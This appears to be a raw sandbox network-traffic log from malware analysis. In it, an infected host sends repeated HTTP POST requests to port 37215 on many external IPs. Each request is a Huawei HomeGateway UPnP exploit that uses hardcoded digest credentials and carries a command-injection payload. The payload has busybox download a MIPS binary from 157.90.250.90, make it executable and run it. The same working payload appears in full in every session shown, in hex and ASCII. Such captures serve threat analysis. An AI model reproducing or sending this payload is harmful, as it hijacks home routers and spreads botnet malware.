30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.14	57752	197.47.140.171	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.098700047 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.14	54222	156.128.181.170	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.099327087 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.14	46092	156.193.205.255	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.100024939 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.14	56762	41.48.214.226	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.100550890 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.14	37534	156.138.184.13	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.101136923 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.14	39168	197.83.50.226	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.148513079 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.14	52462	197.237.59.118	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.149409056 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.14	39102	41.207.60.22	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.150140047 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.14	52312	156.5.132.186	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.150896072 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.14	48840	197.231.134.202	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.151784897 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.14	52802	41.74.150.174	37215

Timestamp	Bytes transferred	Direction	Data
